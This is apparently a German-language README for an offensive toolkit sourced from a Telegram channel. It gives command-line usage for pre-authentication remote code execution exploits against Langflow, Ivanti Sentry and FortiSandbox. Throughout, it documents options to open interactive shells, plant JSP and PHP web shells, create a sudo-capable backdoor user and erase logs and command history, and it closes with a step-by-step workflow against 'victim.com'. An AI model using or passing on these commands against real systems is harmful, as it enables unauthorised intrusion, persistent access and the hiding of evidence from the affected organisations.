(CVE-2026-5027) und (CVE-2026-10520) (CVE-2026-25089) Exploiter:

Klonen

git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

Verwendung der Datei (exploit.py)

Automatisches Testen und Ausnutzen.

python3 exploit.py -u https://target.com

Benutzerdefinierte CLI-Einstellungen

Eigene Webshell verwenden, wenn die Shell in einem Ordner liegt:

python3 exploit.py -u https://target.com --shell 

(📁shells/my-shell.php)

Wenn die Shell im Tool-Ordner oder direkt im Terminal ohne Ordner liegt:

python3 exploit.py -u https://target.com --shell my-shell.php

Ihre Webshell kann (PHP, Python (CGI), Perl, Ruby, ASPX) sein.

Sie können mit --t ein Timeout setzen und mit --p Payloads oder benutzerdefinierte Pfade aus Ordnern und Dateien laden/verwenden:

python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

Beispiel:

python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

Verwendung der Datei (exploitt.py)

Entwickelt für die folgenden CVEs:

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

Pre‑Auth Remote Code Execution

Keine Anmeldedaten erforderlich.

📖 Verwendung

Schnellstart – interaktives Menü (keine Argumente)

python3 exploitt.py

Dann den Aufforderungen folgen:

1. Zieltyp wählen (Ivanti oder Forti)

2. Ziel-URL eingeben (z. B. https://192.168.1.100:8443)
3. Timeout, Proxy, Debug-Modus festlegen
4. Aktion wählen (Befehl, Shell, Webshell usw.)

Kommandozeile (fortgeschritten)

1. Ivanti Sentry (CVE-2026-10520)

# Prüfen, ob anfällig
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# Interaktive Shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# JSP-Webshell bereitstellen (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# Hintertür-Benutzer erstellen + Logs säubern
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean

2. FortiSandbox (CVE-2026-25089)

# Einzelner Befehl
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# Interaktive Shell mit Datei-Upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Innerhalb der Shell: upload /path/local.txt /remote/path.txt

# PHP-Webshell bereitstellen
python3 exploitt.py -u https://forti.example.com --type forti -w

# Vollautomatischer Auto‑Pwn (Prüfen, Shell, Webshell, Persistenz, Säubern)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean

3. Automatische Erkennung (Skript errät den Dienst)

python3 exploitt.py -u https://target.example.com -c "id"

4. Proxy & Debug verwenden

python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

Verfügbare Kommandozeilenargumente

Argument Beschreibung -u, --url Ziel-URL (z. B. https://192.168.1.100:8443) --type Dienst erzwingen: ivanti oder forti (optional, Auto-Erkennung) -t, --timeout Timeout für Anfragen in Sekunden (Standard 30) --proxy HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080) -d, --debug Debug-Ausgabe aktivieren --ua Benutzerdefinierter User-Agent-String -c, --cmd Einzelnen Befehl ausführen und beenden -s, --shell Interaktive Shell starten -w, --webshell Webshell bereitstellen (PHP für Forti, JSP für Ivanti) -p, --persist Persönlichen sudo-fähigen Hintertür-Benutzer erstellen --clean Logs und Befehlsverlauf nach Ausnutzung löschen

Befehle in der interaktiven Shell

Innerhalb der interaktiven Shell können Sie Folgendes verwenden:

Befehl Beispiel Beschreibung normaler Befehl id Beliebiges Systemkommando ausführen upload upload exploit.sh /tmp/backdoor.sh Lokale Datei auf entfernten Host hochladen exit exit Shell beenden

Details zur Webshell-Bereitstellung

· Ivanti Sentry – stellt eine .jsp-Shell in Tomcat webapps bereit (/usr/local/tomcat/webapps/ROOT/) · Zugriff über https://target/shell_random.jsp?cmd=whoami · FortiSandbox – stellt eine .php-Shell im Web-Root bereit (/var/www/html/) · Zugriff über https://target/shell_random.php?cmd=whoami

Beispiel-Workflow (vollständiger Penetrationstest)

# 1. Erkennen und Ausnutzen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. Innerhalb der Shell: Rechte prüfen
id

# 3. Webshell für Persistenz bereitstellen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. Hintertür-Benutzer erstellen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. Logs säubern
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

Von Red Telegram-Kanal:

https://t.me/Red_Rooted_Ghost